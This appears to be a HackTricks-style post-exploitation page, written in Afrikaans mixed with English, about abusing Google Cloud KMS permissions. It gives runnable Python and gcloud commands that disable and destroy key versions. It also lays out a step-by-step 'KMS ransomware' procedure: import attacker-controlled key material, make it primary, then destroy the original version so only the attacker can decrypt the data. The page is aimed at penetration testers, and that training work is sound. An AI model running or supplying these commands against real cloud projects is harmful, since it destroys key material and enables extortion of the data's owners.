# GCP - KMS Post-eksploitasie

{{#include ../../../banners/hacktricks-training.md}}

## KMS

Vind basiese inligting oor KMS in:

{{#ref}}
../gcp-services/gcp-kms-enum.md
{{#endref}}

### `cloudkms.cryptoKeyVersions.destroy`

'n Aanvaller met hierdie toestemming kan 'n KMS-weergawe vernietig. Om dit te doen, moet jy eers die sleutel deaktiveer en dan vernietig:

<details>

<summary>Deaktiveer en vernietig sleutelweergawe (Python)</summary>
```python
# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```
</details>

### KMS Ransomware

In AWS is dit moontlik om heeltemal **steal a KMS key** deur die KMS resource policy te wysig en slegs die aanvaller se rekening toe te laat om die sleutel te gebruik. Aangesien hierdie resource policies nie in GCP bestaan nie, is dit nie moontlik nie.

Egter, daar is 'n ander manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels:

- Skep 'n nuwe **version of the key with a key material** wat deur die aanvaller ingevoer is
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Stel dit as **default version** (vir toekomstige data wat encrypted sal word)
- **Re-encrypt older data** wat met die vorige weergawe encrypted is, met die nuwe een.
- **Delete the KMS key**
- Nou sal slegs die attacker, wat die oorspronklike sleutelmateriaal het, in staat wees om die encrypted data te decrypt

#### Hier is die stappe om 'n nuwe weergawe te import en die ouer data te deaktiveer/verwyder:

<details>

<summary>Import new key version and delete old version</summary>
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1

```
</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>Enkripteer data met simmetriese sleutel (Python)</summary>
```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
```
</details>

### `cloudkms.cryptoKeyVersions.useToSign`

<details>

<summary>Onderteken boodskap met 'n asimmetriese sleutel (Python)</summary>
```python
import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)
```
</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>Verifieer handtekening met asymmetriese sleutel (Python)</summary>
```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
Die `cloudkms.cryptoKeyVersions.restore` toestemming laat 'n identiteit toe om 'n sleutelweergawe wat voorheen in Cloud KMS vir vernietiging geskeduleer is of gedeaktiveer was, te herstel en dit na 'n aktiewe en bruikbare toestand terug te bring.
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
Die `cloudkms.cryptoKeyVersions.update` toestemming laat 'n identiteit toe om die eienskappe of die toestand van 'n spesifieke sleutelweergawe in Cloud KMS te wysig, byvoorbeeld deur dit te aktiveer of te deaktiveer.
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
